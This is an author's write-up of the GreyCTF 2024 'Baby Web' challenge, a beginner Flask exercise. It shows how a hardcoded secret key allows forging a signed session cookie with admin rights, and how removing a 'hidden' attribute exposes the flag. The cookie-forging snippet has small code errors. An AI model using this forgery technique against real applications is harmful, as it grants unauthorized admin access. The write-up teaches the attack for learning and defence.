GreyCTF 2024 Baby Web
Table of Contents
This is the author’s writeup for the challenge Baby Web
in the web category.
This describes the intended solution when I made the challenge.
Challenge description #
I just learnt how to design my favourite flask
webpage using htmx
and bootstrap
.
I hope I don’t accidentally expose my super secret flag.
- Junhua
A main.py
file is provided for this challenge.
My Notes #
This is meant to be a beginner web CTF challenge that tests on the following concepts:
- Leaked Secrets
- Flask Session Signing
- Inspect Element to find hidden elements
Analyzing the main.py
file #
import os
from flask import Flask, render_template, session
app = Flask(__name__)
app.secret_key = "baby-web"
FLAG = os.getenv("FLAG", r"grey{fake_flag}")
@app.route("/", methods=["GET"])
def index():
# Set session if not found
if "is_admin" not in session:
session["is_admin"] = False
return render_template("index.html")
@app.route("/admin")
def admin():
# Check if the user is admin through cookies
return render_template("admin.html", flag=FLAG, is_admin=session.get("is_admin"))
### Some other hidden code ###
if __name__ == "__main__":
app.run(debug=True)
Above is the full source code for the main.py
file provided.
The web server is made using Flask
There are a few different things to note from here.
- The secret key is hardcoded in the source code provided.
- The
is_admin
attribute is stored in theFlask
session
Flask Sessions #
In addition to the request object there is also a second object called session which allows you to store information specific to a user from one request to the next. This is implemented on top of cookies for you and signs the cookies cryptographically.
Based on the official documentation for Flask Sessions
.
The session object in Flask
is implemented as a cookie and the cookie is signed Cryptographically.
# Flask session cookie
session_cookie = f"{data}.{timestamp}.{signature}"
# JWT token
jwt_token = f"{header}.{data}.{signature}"
A Flask
session object is in a very similar format to the JWT
token.
To find out more about how Flask
sessions work, you can look at [this blog post by Paradoxis](https://blog.paradoxis.nl/defeating-flasks-session-management-65706ba9d3ce “Baking Flask cookies with your secrets)
eyJpc19hZG1pbiI6ZmFsc2V9.Zhqjhg.BL2a6FT6cTDM94ZGavsKcWOUf4k
When we visiting the website, we will see that we have been assigned a new cookie called session
in our cookies.
Placing it into the JWT.io website, we can see that the data is in the format of {"is_admin": false}
.
Also notice that at the bottom of the page, it shows Invalid Signature
.
This means that we do not have the correct secret key to sign the cookie.
Leaked secret key #
From the source code, we can see that the secret key is hardcoded in the source code as baby-web
.
from flask import Flask, session
from flask.sessions import SecureCookieSessionInterface
WEBSITE_URL = "http://localhost:29874"
app = Flask(__name__)
app.secret_key = "baby-web"
session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)
if __name__ == '__main__":
with app.test_request_context():
session["is_admin"] = True
print(str(session_serializer.dumps(session)))
if __name__ == "__main__":
cookie = generate_cookie() # eyJpc19hZG1pbiI6dHJ1ZX0.ZhohxA.0NiO3Y6D4T75zNZPwyctkrwcqsk
Solving the challenge #
Using the secret key, we can generate a new session cookie with the code snippet above. We can simply override the cookie on the website to get the flag.
After we override the cookie, we can see that the website still does not show the flag.
Looking at the html
page #
Looking at the page, we can see that there is a hidden element that is not shown on the page.
<button
type="button"
class="btn btn-primary"
data-bs-toggle="modal"
data-bs-target="#exampleModal"
hidden
>
Super Secret Admin Button
</button>
By removing the hidden attribute, we can see that there is a button that is hidden from the user.
After clicking on the button, a modal shows up with a new modal that has another button.
By clicking on the button, we can see that the flag is shown.
Other easter eggs #
In the home page, there is also another button that shows up as a Request for Admin Access
button.
When the user clicks on the button, they are greeted with a form that asks for their user
and email
.
However, regardless of whatever they keyed in, submitting the form will return a rick roll
video on the modal.
Conclusion #
I hope that this challenges teaches beginners about how Flask
sessions work.
Some lessons to be learnt from this CTF challenge includes:
- Never hardcode secrets / use weak secrets in your
Flask
secrets - Do not hide sensitive information in your webpage behind
hidden
attributes.